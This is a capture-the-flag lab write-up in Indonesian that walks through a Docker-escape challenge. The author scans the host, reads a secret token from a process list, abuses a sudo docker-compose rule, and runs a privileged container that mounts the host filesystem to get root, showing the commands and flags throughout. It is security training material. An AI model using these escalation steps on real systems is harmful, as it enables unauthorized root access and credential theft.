

WRITEUP  
LAS WEEK 1 (CS)  
MBC LAB 2026



NAMA: MUHAMMAD ILYAS SYARIEF  
ID CAAS: 2644

## DAFTAR ISI

|                   |   |
|-------------------|---|
| DAFTAR ISI.....   | 2 |
| FLAG 1.....       | 4 |
| FLAG 2.....       | 4 |
| FLAG 3.....       | 6 |
| FLAG 3_BONUS..... | 7 |
| FLAG FINAL.....   | 8 |

Ini adalah Write Up dari tugas LAC MBC week 1 yang di mana kita di kasih machine berbasis linux untuk kita exploit dan mencari flag yang berada di machine tersebut. Dan mungkin bisa di bilang tugas ini bertema Docker Escape (btw ini baru sadar termasuk docker exploit pas pertengahan, kalau salah mohon maaf karena baru belajar).

Pertama saya melakukan recon, dan gak terlalu banyak saya melakukan recon karena di dalam tugasnya sudah di beri tahu username dan password dari user: Diver (salah satu user yang ada di machine), dari situ bisa di lakukan pengecekan ip address machine, tapi saya melakukan pengecekan ip nya menggunakan tools Netdiscover:

```
Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts
```

349 Captured ARP Req/Rep packets, from 2 hosts. Total size: 20940

| IP            | At MAC Address    | Count | Len   | MAC Vendor / Hostname                    |
|---------------|-------------------|-------|-------|------------------------------------------|
| 192.168.0.1   | 08:40:f3:15:7e:e8 | 348   | 20880 | Tenda Technology Co.,Ltd.Dongguan branch |
| 192.168.0.107 | 08:00:27:4e:4b:6c | 1     | 60    | PCS Systemtechnik GmbH                   |

Terlihat bahwa ip machine atau server tersebut adalah 192.168.0.107 dan selanjutnya Scanning menggunakan Nmap:

```
(root@HyperX) ~# nmap -sV -A -p- 192.168.0.107
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-12 09:42 +0700
Nmap scan report for 192.168.0.107
Host is up (0.00081s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.2p1 Ubuntu 2ubuntu3.5 (Ubuntu Linux; protocol 2.0)
MAC Address: 08:00:27:4E:4B:6C (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=8/12%OT=22%CT=1%CU=35602%PV=Y%DS=1%DC=D%G=Y%M=080027T
OS:M=6A7BDD95%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=102%TI=Z%CI=Z%II=I
OS:%TS=21)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=20)SEQ(SP=105%GCD=1%IS
OS:R=10D%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=FA%GCD=1%ISR=110%TI=Z%CI=Z%TS=21)SEQ(S
OS:P=FD%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=20)OPS(O1=M5B4ST11NW9%O2=M5B4ST11NW
OS:9%O3=M5B4NNT11NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11)WIN(W1=FE88%
OS:W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4N
OS:NSNW9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%W=0%S=A+S+F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=
OS:Y%DF=Y%T=40%W=0%S=A+A=Z%F=R%O=0%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+F=A
OS:R%O=0%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A+A=Z%F=R%O=0%RD=0%Q=)T7(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+F=AR%O=0%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPL=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.81 ms 192.168.0.107

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
```

Karena di Nmap informasi yang didapat tidak terlalu banyak, hanya yang memungkinkan masuk lewat port 22 / SSH, akhirnya masuk lewat SSH dengan Username: Diver dan Password: Diver (sudah ada di laman tugas).

## Flag 1

Setelah masuk lewat SSH saya awalnya iseng untuk mencari file flag dengan cara mencari file dengan kata flag.

```
Find / -name "*flag*" 2>/dev/null | grep ".txt"
```

```
diver@leakywhale:~$ find / -name "*flag*" 2>/dev/null | grep ".txt"
/opt/leaky-whale/flag3_bonus.txt
/opt/leaky-whale/flag3.txt
/opt/leaky-whale/flag1.txt
diver@leakywhale:~$
```

dan ternyata ketemu file nya ada di folder /opt/leaky-whale untuk flag 1, dan di folder itu juga ada flag3 dan flag3\_bonus tapi enggak bisa di buka

```
diver@leakywhale:/opt/leaky-whale$ ls
docker-compose.yml first-boot-secrets.sh flag1.txt flag3.txt flag3_bonus.txt logger
diver@leakywhale:/opt/leaky-whale$ cat flag1.txt
LWSD{f092812184e5f0952298d60a93e7362b}
diver@leakywhale:/opt/leaky-whale$
```

Flag1: LWSD{f092812184e5f0952298d60a93e7362b}

## Flag 2

Sebelum lanjut mencari flag2, ada dua file di folder /opt/leaky-whale yang buat penasaran, yaitu file Docker-compose.yml dan first-boot-secrets.sh, saya buka dan isinya

```
diver@leakywhale:/opt/leaky-whale$ cat docker-compose.yml
services:
  logger:
    build: ./logger
    container_name: logger
    command: ["--token", "${SHIPPER_TOKEN}"]
    cap_add:
      - SYS_ADMIN
      - SYS_PTRACE
    security_opt:
      - apparmor:unconfined
    pid: "host"
    restart: unless-stopped

  shipping-api:
    image: docker:26-cli
    container_name: shipping-api
    entrypoint: ["/bin/sh", "-c", "sleep infinity"]
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
    restart: unless-stopped
diver@leakywhale:/opt/leaky-whale$
```

```

diver@leakywhale:/opt/leaky-whale$ cat first-boot-secrets.sh
#!/bin/sh
set -eu
MARKER=/etc/leaky-whale-provisioned

if [ -f "$MARKER" ]; then
    echo "first-boot-secrets.sh: already provisioned, skipping"
    exit 0
fi

rand_hex() { head -c "$1" /dev/urandom | od -An -tx1 | tr -d ' \n'; }
mkflag() { echo "LWSD{${rand_hex 16}}"; }

SHIPPER_TOKEN=${rand_hex 16}

mkdir -p /opt/leaky-whale
echo "SHIPPER_TOKEN=${SHIPPER_TOKEN}" > /opt/leaky-whale/.env
chmod 600 /opt/leaky-whale/.env
chown root:root /opt/leaky-whale/.env

echo "shipper:${SHIPPER_TOKEN}" | chpasswd
passwd -u shipper

mkflag > /opt/leaky-whale/flag1.txt
chmod 644 /opt/leaky-whale/flag1.txt
chown root:root /opt/leaky-whale/flag1.txt

mkdir -p /home/shipper
mkflag > /home/shipper/flag2.txt
chmod 600 /home/shipper/flag2.txt
chown shipper:shipper /home/shipper/flag2.txt

mkflag > /opt/leaky-whale/flag3.txt
chmod 600 /opt/leaky-whale/flag3.txt
chown root:root /opt/leaky-whale/flag3.txt

mkflag > /opt/leaky-whale/flag3_bonus.txt
chmod 600 /opt/leaky-whale/flag3_bonus.txt
chown root:root /opt/leaky-whale/flag3_bonus.txt

mkflag > /root/flag_final.txt
chmod 600 /root/flag_final.txt
chown root:root /root/flag_final.txt

touch "$MARKER"
echo "first-boot-secrets.sh: provisioning complete"
diver@leakywhale:/opt/leaky-whale$

```

dan dari dua file ini bisa menjadi petunjuk sekaligus mempermudah untuk mencari file selanjutnya karena di file first-boot-secrets.sh di kasih tahu semua file nya terletak di mana dan di kasih tahu untuk mendapatkan flag 2 harus masuk ke user: Shipper dan password nya adalah "Shipper\_Token", dan dari file Docker-compose.yml baru sadar ini adalah Docker Exploitit, dan di situ di kasih tahu ada 2 service docker yang ada dan bisa menjadi jalan akses ke root.

Dan dari sini mulai bingung unruk mencari token untuk bisa akses flag 2, akhirnya di home directory iseng liat file yang tersembunyi

```

diver@leakywhale:~$ ls -la
total 28
drwxr-x--- 3 diver diver 4096 Aug 10 09:01 .
drwxr-xr-x 4 root  root 4096 Aug 10 09:02 ..
-rw----- 1 diver diver 1423 Aug 11 12:32 .bash_history
-rw-r--r-- 1 diver diver  220 Feb 13 12:16 .bash_logout
-rw-r--r-- 1 diver diver 3771 Feb 13 12:16 .bashrc
drwx----- 2 diver diver 4096 Aug 10 09:01 .cache
-rw-r--r-- 1 diver diver  807 Feb 13 12:16 .profile
diver@leakywhale:~$ cat .bash_history
su - shipper
ps aux | grep sync-agent
sudo grep SHIPPER_TOKEN /opt/leaky-whale/.env
su - shipper
exit

```

dan saya buka satu satu, dan beruntung liat file .bash\_history yang isi nya history di mana sebelumnya user diver pernah masuk ke user shipper. Dari sini saya coba mengikuti perintah yang sebelumnya user diver lakukan, dan pas masukan perintah ps aux | grep sync-agent di situlah terlihat token yang bisa menjadi password untuk masuk ke user shipper

```

diver@leakywhale:~$ ps aux | grep sync-agent
root      1871  0.0  0.0  1636  1028 ?        Ss   02:02   0:00 /bin/sh /usr/local/bin/sync-agent.sh --token 28b43af678aa22da9332f87e56880026
diver     3526  0.0  0.0   6716   2700 pts/3    S+   02:46   0:00 grep --color=auto sync-agent
diver@leakywhale:~$ su shipper
Password:
shipper@leakywhale:/home/diver$

```

Token: 28b43af678aa22da9332f87e56880026

Dari situ berhasil masuk ke user shipper, dan berdasarkan petunjuk sebelumnya saya berhasil mendapatkan flag 2

```

shipper@leakywhale:~$ ls
flag2.txt
shipper@leakywhale:~$ cat flag2.txt
LWSD{685074c8bd2ed7931977340fa2dcde42}
shipper@leakywhale:~$

```

Flag2: LWSD{685074c8bd2ed7931977340fa2dcde42}

### Flag 3

Untuk mendapatkan flag 3 harus masuk ke akses root berdasarkan petunjuk dari file first-boot-secrets.sh. Saya mencoba menjalankan



perintah `sudo -l` untuk melihat akses yang dimiliki user saat ini untuk menjalankan perintah dengan `sudo`.

```
shipper@leakywhale:~$ sudo -l
User shipper may run the following commands on leakywhale:
(root) NOPASSWD: /usr/bin/docker compose -f /opt/leaky-whale/docker-compose.yml exec *
```

Dan hasilnya user Shipper bisa menjalankan akses root tanpa password melalui Docker Compose, dan bisa langsung `exec` ke service yang tersedia yaitu service logger dan shipping-api.

Saya menggunakan perintah `sudo /usr/bin/docker compose -f /opt/leaky-whale/docker-compose.yml exec shipping-api /bin/sh` untuk masuk ke user rootnya

```
shipper@leakywhale:~$ sudo /usr/bin/docker compose -f /opt/leaky-whale/docker-compose.yml exec shipping-api /bin/sh
/ # docker run -it --rm -v /:/host --privileged alpine chroot /host /bin/bash
root@f7b43d3fdada:/#
```

Saya memakai service shipping-api untuk masuk ke root karena di dalam nya terdapat `docker.sock` yang di mana ini adalah soket yang bisa mengontrol Docker di host dan bisa menjalankan Docker sebagai root

Selanjutnya menggunakan perintah `docker run -it --rm -v /:/host --privileged alpine chroot /host /bin/bash` agar bisa menjalankan container privileged yang melakukan mount terhadap root filesystem host dan melakukan `chroot` untuk mendapatkan akses root penuh ke sistem host.

Saat sudah masuk ke root langsung masuk ke folder `/opt/leaky-whale` untuk mendapatkan flag 3

```
root@a056b45aef9c:/opt/leaky-whale# ls
docker-compose.yml  first-boot-secrets.sh  flag1.txt  flag3.txt  flag3_bonus.txt  logger
root@a056b45aef9c:/opt/leaky-whale# cat flag3.txt
LWSD{9527750e505e073cf027fd53d87f5591}
```

Flag3: LWSD{9527750e505e073cf027fd53d87f5591}

### Flag 3\_bonus

Mendapatkan flag 3\_bonus setelah flag 3 yang berada di satu folder

```
root@a056b45aef9c:/opt/leaky-whale# cat flag3_bonus.txt
LWSD{ded08ab6e24f1e5d313b9e8104309166}
```

Flag3\_Bonus: LWSD{ded08ab6e24f1e5d313b9e8104309166}

## Flag Final

Berdasarkan petunjuk di file `first-boot-secrets.sh`, flag final berada di home directory root

```
root@a056b45aef9c:~# ls
flag_final.txt
root@a056b45aef9c:~# cat flag_final.txt
LWSD{49eaeef70ae6bc3a9205544b1eabe9d3c}
root@a056b45aef9c:~# █
```

Flag\_Final: `LWSD{49eaeef70ae6bc3a9205544b1eabe9d3c}`